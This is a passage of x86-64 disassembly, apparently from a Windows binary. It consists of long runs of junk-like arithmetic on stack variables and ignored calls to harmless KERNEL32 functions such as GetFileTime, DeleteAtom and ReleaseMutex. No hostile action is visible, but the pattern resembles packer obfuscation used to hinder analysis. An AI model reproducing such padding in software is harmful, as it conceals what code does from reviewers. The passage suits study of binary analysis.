movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6820]
mov word [rcx], ax
lea rax, [0x14018c4a0]
mov qword [0x14018c898], rax
mov rax, qword [rsp + 0x7508]
mov qword [rsp + 0x82b8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
movzx ecx, word [rsp + 0xe04]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfa0], ax
movzx eax, word [rsp + 0xf30]
mov rcx, qword [rsp + 0x4a08]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x41c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6f30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4f58]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x57c], ax
mov rax, qword [rsp + 0x55e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5ed0]
mov qword [rsp + 0x82c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x82c0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x3368], rax
mov rcx, qword [rsp + 0x4278]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x6578]
mov rcx, qword [rsp + 0x7d88]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6d98]
mov qword [rcx], rax
lea rax, [rsp + 0x208]
mov qword [rsp + 0x82c8], rax
mov rax, qword [rsp + 0x5b98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1be0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8280]
mov dword [rcx], eax
movzx eax, word [rsp + 0xe9c]
mov word [rsp + 0xfa4], ax
mov rax, qword [rsp + 0x38d8]
mov rcx, qword [rsp + 0x4428]
mov qword [rsp + 0x82d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x82d0]
mov rax, qword [rax]
sar rax, cl
mov qword [0x14018c248], rax
mov eax, dword [rsp + 0x2168]
mov ecx, dword [rsp + 0x2190]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7898]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4a20]
movzx eax, byte [rax]
mov rcx, qword [0x14018bdd0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5620]
mov byte [rcx], al
lea rax, [rsp + 0x4d0]
mov qword [rsp + 0x82d8], rax
movzx eax, word [rsp + 0xc60]
movzx ecx, word [rsp + 0xf34]
and eax, ecx
mov rcx, qword [rsp + 0x6688]
mov word [rcx], ax
lea rax, [rsp + 0x21a]
mov qword [rsp + 0x82e0], rax
mov rax, qword [rsp + 0x6ba0]
mov rcx, qword [rsp + 0x4ae0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x217c], eax
mov rax, qword [rsp + 0x5b68]
mov qword [rsp + 0x82e8], rax
movsx eax, word [rsp + 0xdd4]
mov rcx, qword [rsp + 0x4980]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xca8], ax
mov rax, qword [rsp + 0x4920]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf7c]
sar eax, cl
mov rcx, qword [0x14018c898]
mov word [rcx], ax
mov rax, qword [rsp + 0x6290]
mov rcx, qword [rsp + 0x33c8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7430], rax
lea rax, [0x14018ad88]
mov qword [rsp + 0x82f0], rax
mov rax, qword [rsp + 0x4c68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c00]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x59a8], rax
lea rax, [rsp + 0x5c8]
mov qword [rsp + 0x82f8], rax
movsx eax, byte [rsp + 0x1cf]
movsx ecx, byte [0x14018bdc6]
shl eax, cl
mov rcx, qword [rsp + 0x7278]
mov byte [rcx], al
mov rax, qword [rsp + 0x7688]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7038]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6818]
mov qword [rcx], rax
lea rax, [rsp + 0x21bc]
mov qword [rsp + 0x8300], rax
mov rax, qword [rsp + 0x7df8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1d1]
add eax, ecx
mov rcx, qword [rsp + 0x70b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4a58]
mov rcx, qword [rsp + 0x4f68]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1ed4], eax
movzx eax, word [rsp + 0xd04]
mov word [0x14018c8a0], ax
movzx eax, word [rsp + 0xcd8]
mov rcx, qword [rsp + 0x75f0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x57a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6c78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8270]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x73a0]
mov word [rcx], ax
lea rax, [rsp + 0x39c8]
mov qword [rsp + 0x8308], rax
mov rax, qword [rsp + 0x4e10]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ca]
sub eax, ecx
mov rcx, qword [rsp + 0x4338]
mov byte [rcx], al
lea rax, [rsp + 0x2278]
mov qword [rsp + 0x8310], rax
mov rax, qword [rsp + 0x6538]
mov rcx, qword [rsp + 0x5140]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6f00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7768]
movzx eax, word [rax]
mov word [rsp + 0xfa8], ax
movzx eax, word [rsp + 0xcb8]
movzx ecx, word [rsp + 0xd98]
and eax, ecx
mov rcx, qword [rsp + 0x4a30]
mov word [rcx], ax
mov rax, qword [rsp + 0x3100]
mov rcx, qword [rsp + 0x8010]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x14018c3b0]
mov qword [rcx], rax
mov rax, qword [0x14018bf78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5290]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x41b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x49f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x42d8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x36d0], rax
mov rax, qword [rsp + 0x7390]
mov rcx, qword [0x14018c7e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x58e0]
mov qword [rcx], rax
lea rcx, [rsp + 0x158a8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x47f8]
mov qword [rsp + 0x8318], rax
mov rax, qword [rsp + 0x44a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x85]
shl eax, cl
mov byte [rsp + 0x13b], al
mov rax, qword [rsp + 0x5c98]
mov rcx, qword [rsp + 0x6420]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5c98]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x206]
mov byte [rsp + 0x21d], al
mov rax, qword [rsp + 0x3eb0]
mov rcx, qword [rsp + 0x7440]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7760]
mov dword [rcx], eax
lea rax, [rsp + 0xe00]
mov qword [0x14018c8a8], rax
mov rax, qword [rsp + 0x4ee0]
movzx eax, word [rax]
mov word [rsp + 0xfac], ax
mov rax, qword [rsp + 0x8028]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4778]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x764], ax
mov rax, qword [rsp + 0x59d8]
movzx eax, word [rax]
mov rcx, qword [0x14018c008]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x7050]
mov word [rcx], ax
mov rcx, qword [rsp + 0x5d58]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x204c], eax
lea rax, [rsp + 0x5b68]
mov qword [rsp + 0x8320], rax
mov rax, qword [rsp + 0x5900]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2188]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6c38]
mov dword [rcx], eax
lea rax, [rsp + 0x1ac]
mov qword [rsp + 0x8328], rax
mov rax, qword [rsp + 0x7150]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf64]
add eax, ecx
mov rcx, qword [rsp + 0x4d30]
mov word [rcx], ax
mov rax, qword [rsp + 0x5420]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc34]
and eax, ecx
mov rcx, qword [rsp + 0x7140]
mov word [rcx], ax
lea rax, [rsp + 0x37f0]
mov qword [0x14018c8b0], rax
lea rax, [rsp + 0x3618]
mov qword [rsp + 0x8330], rax
mov rax, qword [rsp + 0x5700]
mov rcx, qword [rsp + 0x5358]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x67a8]
mov qword [rcx], rax
lea rax, [rsp + 0x39b0]
mov qword [rsp + 0x8338], rax
movzx eax, word [rsp + 0xd54]
mov rcx, qword [rsp + 0x3f20]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4978]
mov word [rcx], ax
lea rax, [rsp + 0x1e9]
mov qword [rsp + 0x8340], rax
mov rax, qword [rsp + 0x70d0]
mov rcx, qword [rsp + 0x6d18]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5ee8]
mov dword [rcx], eax
mov rax, qword [0x14018bfa0]
mov ecx, dword [rsp + 0x21bc]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1e0c], eax
lea rax, [rsp + 0x157]
mov qword [rsp + 0x8348], rax
mov rax, qword [rsp + 0x5cd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4c98]
mov qword [rsp + 0x8350], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8350]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [0x14018c890]
mov qword [rcx], rax
movsx eax, word [rsp + 0xf88]
mov rcx, qword [rsp + 0x5e18]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x69d8]
mov word [rcx], ax
lea rax, [rsp + 0xf4c]
mov qword [rsp + 0x8358], rax
movzx eax, word [rsp + 0xd54]
mov rcx, qword [0x14018c6b8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4948]
mov word [rcx], ax
mov rax, qword [rsp + 0x7b58]
mov rcx, qword [rsp + 0x37e8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3520], rax
lea rax, [rsp + 0x217c]
mov qword [rsp + 0x8360], rax
mov rax, qword [rsp + 0x7468]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4b80]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6460]
mov byte [rcx], al
mov rax, qword [rsp + 0x6388]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7cf8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x35c8], rax
movsx eax, word [rsp + 0xcbc]
mov rcx, qword [rsp + 0x7800]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x82f8]
mov word [rcx], ax
movzx eax, word [0x14018ad4c]
mov rcx, qword [rsp + 0x4370]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14018c110]
mov word [rcx], ax
mov rax, qword [rsp + 0x8118]
mov rcx, qword [rsp + 0x7470]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5308]
mov qword [rcx], rax
lea rax, [rsp + 0xde0]
mov qword [rsp + 0x8368], rax
mov rax, qword [rsp + 0x7d80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f20]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6cb8]
mov dword [rcx], eax
lea rax, [rsp + 0x15d]
mov qword [rsp + 0x8370], rax
mov eax, dword [0x14018be78]
mov ecx, dword [rsp + 0x2148]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1be4], eax
mov rax, qword [rsp + 0x69a0]
mov rcx, qword [rsp + 0x6cf0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5ef0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5e80]
movzx eax, byte [rax]
mov byte [rsp + 0x21e], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x2290], eax
movsx eax, word [rsp + 0xc84]
mov rcx, qword [0x14018c4b0]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x59e8]
mov word [rcx], ax
movzx eax, word [rsp + 0xee4]
mov rcx, qword [rsp + 0x5d28]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14018ae34], ax
mov rax, qword [rsp + 0x4c50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x53f8]
mov qword [rsp + 0x8378], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8378]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x2bf0], rax
mov rax, qword [rsp + 0x5a18]
mov rcx, qword [rsp + 0x73a8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3098], rax
lea rax, [rsp + 0xb58]
mov qword [rsp + 0x8380], rax
mov rax, qword [rsp + 0x71c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x764]
add eax, ecx
mov word [rsp + 0xba8], ax
mov rax, qword [0x14018c650]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x10c]
and eax, ecx
mov rcx, qword [rsp + 0x7770]
mov byte [rcx], al
lea rax, [rsp + 0x3220]
mov qword [rsp + 0x8388], rax
mov rax, qword [rsp + 0x4898]
mov rcx, qword [rsp + 0x4d88]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x52c8]
mov dword [rcx], eax
lea rax, [rsp + 0x5230]
mov qword [rsp + 0x8390], rax
movsx eax, word [rsp + 0xca8]
movsx ecx, word [rsp + 0xe40]
sub eax, ecx
mov rcx, qword [0x14018bf28]
mov word [rcx], ax
mov rax, qword [rsp + 0x8270]
movzx eax, word [rax]
mov rcx, qword [0x14018c7c8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x74c0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1e9]
movzx ecx, byte [rsp + 0x70]
add eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov byte [rcx], al
lea rax, [rsp + 0x1b90]
mov qword [rsp + 0x8398], rax
mov rax, qword [rsp + 0x54a0]
mov rcx, qword [rsp + 0x38d8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3228], rax
mov rax, qword [rsp + 0x50f8]
mov rax, qword [rax]
mov qword [rsp + 0x83a0], rax
mov eax, dword [rsp + 0x2200]
movzx ecx, al
mov eax, dword [rsp + 0x2260]
shl eax, cl
mov rcx, qword [rsp + 0x8108]
mov dword [rcx], eax
mov rax, qword [rsp + 0x69f8]
movsx eax, byte [rax]
mov rcx, qword [0x14018be98]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x138], al
movzx eax, word [rsp + 0xcec]
mov word [rsp + 0xfb0], ax
lea rax, [rsp + 0x6c4]
mov qword [0x14018c8b8], rax
mov rax, qword [rsp + 0x7080]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3718]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6a30]
mov qword [rcx], rax
movzx eax, word [0x14018c4a0]
movzx ecx, word [rsp + 0x8b0]
sar eax, cl
mov word [rsp + 0x3fc], ax
movsx eax, word [rsp + 0x6b0]
movsx ecx, word [rsp + 0x8d8]
sub eax, ecx
mov rcx, qword [rsp + 0x6ca8]
mov word [rcx], ax
lea rax, [rsp + 0x45c0]
mov qword [rsp + 0x83a8], rax
mov rax, qword [rsp + 0x4d40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4510]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x19c], al
mov rax, qword [rsp + 0x4418]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5890]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x69c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5b60]
mov eax, dword [rax]
mov dword [rsp + 0x2294], eax
movzx eax, word [rsp + 0xe3c]
movzx ecx, word [rsp + 0x600]
sub eax, ecx
mov rcx, qword [rsp + 0x73a0]
mov word [rcx], ax
lea rax, [rsp + 0x4878]
mov qword [0x14018c8c0], rax
movzx eax, byte [rsp + 0x1d3]
cdq
mov ecx, 0xab
idiv ecx
mov byte [rsp + 0xe1], al
mov rax, qword [rsp + 0x40c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1e98]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5930]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6a88]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x57f0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x7a68]
mov word [rcx], ax
lea rax, [0x14018bde8]
mov qword [rsp + 0x83b0], rax
mov eax, dword [rsp + 0x2164]
mov ecx, dword [rsp + 0x2250]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6580]
mov dword [rcx], eax
lea rax, [rsp + 0xcb]
mov qword [rsp + 0x83b8], rax
mov rax, qword [rsp + 0x5b00]
mov rcx, qword [rsp + 0x66a8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4ed8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x974]
mov rcx, qword [rsp + 0x69d8]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6e88]
mov word [rcx], ax
movzx eax, word [rsp + 0x660]
movzx ecx, word [rsp + 0xe3c]
xor eax, ecx
mov rcx, qword [0x14018c3a8]
mov word [rcx], ax
mov rcx, qword [rsp + 0x6980]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x2c10]
mov qword [rsp + 0x83c0], rax
mov rax, qword [rsp + 0x6230]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4bb0]
mov qword [rsp + 0x83c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x83c8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x6448], rax
lea rax, [rsp + 0x2bc8]
mov qword [rsp + 0x83d0], rax
movsx eax, word [0x14018c468]
mov rcx, qword [rsp + 0x6210]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5160]
mov word [rcx], ax
movsx eax, byte [rsp + 0x216]
movsx ecx, byte [rsp + 0x1f9]
sar eax, cl
mov rcx, qword [rsp + 0x67b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4950]
mov rax, qword [rax]
mov qword [rsp + 0x83d8], rax
mov rax, qword [rsp + 0x8128]
mov eax, dword [rax]
mov ecx, dword [0x14018be78]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x77d8]
mov dword [rcx], eax
lea rax, [rsp + 0x21cc]
mov qword [rsp + 0x83e0], rax
movzx ecx, word [rsp + 0xd5c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xd5c], ax
mov rax, qword [rsp + 0x5598]
movzx eax, byte [rax]
cdq
mov ecx, 0xcd
idiv ecx
mov byte [rsp + 0x1ec], al
lea rax, [rsp + 0xc7c]
mov qword [0x14018c8c8], rax
movzx eax, word [rsp + 0xb84]
mov word [rsp + 0xfb4], ax
mov rax, qword [rsp + 0x4578]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4220]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6fc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x81b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5ee0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5058], rax
lea rax, [rsp + 0x3358]
mov qword [rsp + 0x83e8], rax
mov rax, qword [rsp + 0x40e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3e88]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4900]
mov byte [rcx], al
lea rax, [0x14018ad48]
mov qword [rsp + 0x83f0], rax
mov rax, qword [rsp + 0x6ae8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd24]
sub eax, ecx
mov rcx, qword [rsp + 0x5708]
mov word [rcx], ax
mov rax, qword [rsp + 0x7540]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe08]
and eax, ecx
mov word [rsp + 0x3c0], ax
mov rax, qword [rsp + 0x39b0]
mov rcx, qword [0x14018c7b8]
mov qword [rsp + 0x83f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x83f8]
mov rax, qword [rax]
sar rax, cl
mov qword [0x14018ad90], rax
lea rax, [rsp + 0xe0c]
mov qword [rsp + 0x8400], rax
mov rax, qword [rsp + 0x4928]
mov rcx, qword [rsp + 0x7450]
mov qword [rsp + 0x8408], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8408]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x63f0]
mov qword [rcx], rax
lea rax, [rsp + 0x39a8]
mov qword [rsp + 0x8410], rax
movsx eax, byte [rsp + 0xed]
movsx ecx, byte [rsp + 0xcb]
xor eax, ecx
mov byte [rsp + 0x1a2], al
mov rax, qword [0x14018ad18]
mov rcx, qword [rsp + 0x2d50]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5a00]
mov qword [rcx], rax
lea rax, [rsp + 0x2030]
mov qword [rsp + 0x8418], rax
movzx eax, byte [rsp + 0x166]
movzx ecx, byte [rsp + 0x1dc]
add eax, ecx
mov byte [rsp + 0x97], al
lea rax, [rsp + 0x2250]
mov qword [rsp + 0x8420], rax
lea rax, [rsp + 0xdb0]
mov qword [0x14018c8d0], rax
mov rcx, qword [rsp + 0x7ad8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x6b28]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeb0]
sub eax, ecx
mov word [rsp + 0x3ac], ax
lea rax, [rsp + 0x48c]
mov qword [rsp + 0x8428], rax
movzx eax, word [rsp + 0xda8]
mov rcx, qword [rsp + 0x4920]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4bd0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4388]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6ed8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5968]
mov byte [rcx], al
lea rax, [rsp + 0x1b10]
mov qword [rsp + 0x8430], rax
mov rax, qword [rsp + 0x6e60]
mov rcx, qword [rsp + 0x7908]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4eb0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5448]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x548]
add eax, ecx
mov word [rsp + 0x7f4], ax
movzx eax, word [rsp + 0xdb8]
mov rcx, qword [0x14018c7f8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6458]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x2298], eax
mov rax, qword [rsp + 0x3cd0]
mov rcx, qword [rsp + 0x5a48]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [0x14018c048]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7a90]
mov rcx, qword [rsp + 0x2bd0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4f78]
mov qword [rcx], rax
lea rax, [0x14018c440]
mov qword [rsp + 0x8438], rax
mov rax, qword [rsp + 0x42c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8410]
mov qword [rsp + 0x8440], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8440]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x73e0]
mov qword [rcx], rax
movzx eax, word [rsp + 0xba8]
mov word [rsp + 0xfb8], ax
movzx eax, byte [rsp + 0x218]
movzx ecx, byte [rsp + 0x70]
xor eax, ecx
mov byte [rsp + 0x1d2], al
mov eax, dword [rsp + 0x21b4]
mov ecx, dword [rsp + 0x1e50]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1c38], eax
lea rax, [rsp + 0x95]
mov qword [rsp + 0x8448], rax
mov rax, qword [rsp + 0x3220]
mov rcx, qword [rsp + 0x5ec8]
mov qword [rsp + 0x8450], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8450]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x3918], rax
mov eax, dword [rsp + 0x210c]
mov dword [0x14018c8d8], eax
lea rax, [rsp + 0xc5c]
mov qword [rsp + 0x8458], rax
movsx eax, word [rsp + 0xdac]
mov rcx, qword [rsp + 0x5a28]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7248]
mov word [rcx], ax
mov rax, qword [rsp + 0x7950]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdc8]
sub eax, ecx
mov rcx, qword [rsp + 0x75f0]
mov word [rcx], ax
lea rax, [rsp + 0x39b0]
mov qword [rsp + 0x8460], rax
mov rax, qword [rsp + 0x5920]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x59e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2e78], rax
movsx eax, byte [rsp + 0x1bc]
movsx ecx, byte [rsp + 0x20b]
and eax, ecx
mov byte [rsp + 0x194], al
mov rax, qword [rsp + 0x7440]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2118]
shr eax, cl
mov rcx, qword [rsp + 0x77d8]
mov dword [rcx], eax
lea rax, [rsp + 0xe40]
mov qword [rsp + 0x8468], rax
movzx eax, word [rsp + 0xe3c]
mov rcx, qword [rsp + 0x41f8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14018c6a0], ax
mov rax, qword [rsp + 0x6290]
mov rcx, qword [rsp + 0x7130]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5618]
mov qword [rcx], rax
movzx eax, word [rsp + 0xd28]
movzx ecx, word [rsp + 0xe78]
and eax, ecx
mov rcx, qword [rsp + 0x4b18]
mov word [rcx], ax
lea rax, [rsp + 0x1f6]
mov qword [rsp + 0x8470], rax
mov eax, dword [rsp + 0x21b4]
mov ecx, dword [rsp + 0x215c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2234], eax
mov rax, qword [rsp + 0x4c60]
mov qword [rsp + 0x8478], rax
mov eax, dword [rsp + 0x2200]
mov ecx, dword [rsp + 0x20d8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4420]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x1ad]
movsx ecx, byte [rsp + 0x1c1]
shl eax, cl
mov byte [rsp + 0x18b], al
mov rax, qword [rsp + 0x56d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6e88]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xa88], ax
mov rax, qword [rsp + 0x6608]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf0c]
or eax, ecx
mov rcx, qword [0x14018c780]
mov word [rcx], ax
mov rax, qword [rsp + 0x3a10]
mov rcx, qword [0x14018c6f0]
mov qword [rsp + 0x8480], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8480]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x4a50]
mov qword [rcx], rax
lea rax, [rsp + 0x5230]
mov qword [rsp + 0x8488], rax
mov rax, qword [rsp + 0x4828]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x62b8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6470]
mov word [rcx], ax
movzx eax, word [0x14018c398]
mov rcx, qword [rsp + 0x59b8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5f28]
mov word [rcx], ax
lea rax, [rsp + 0x3418]
mov qword [rsp + 0x8490], rax
mov rax, qword [rsp + 0x69f0]
mov rcx, qword [0x14018c550]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2238], eax
lea rax, [rsp + 0xca]
mov qword [rsp + 0x8498], rax
mov rax, qword [rsp + 0x2fc0]
movzx ecx, al
mov rax, qword [rsp + 0x2d28]
sar rax, cl
mov rcx, qword [rsp + 0x5268]
mov qword [rcx], rax
lea rax, [rsp + 0x688]
mov qword [0x14018c8e0], rax
mov rax, qword [0x14018be80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd80]
and eax, ecx
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
lea rax, [rsp + 0x20e0]
mov qword [rsp + 0x84a0], rax
movzx eax, byte [rsp + 0x1e1]
mov rcx, qword [rsp + 0x43f0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5aa0]
mov byte [rcx], al
lea rax, [0x14018ad88]
mov qword [rsp + 0x84a8], rax
mov rax, qword [rsp + 0x5ae0]
mov rcx, qword [rsp + 0x7e78]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
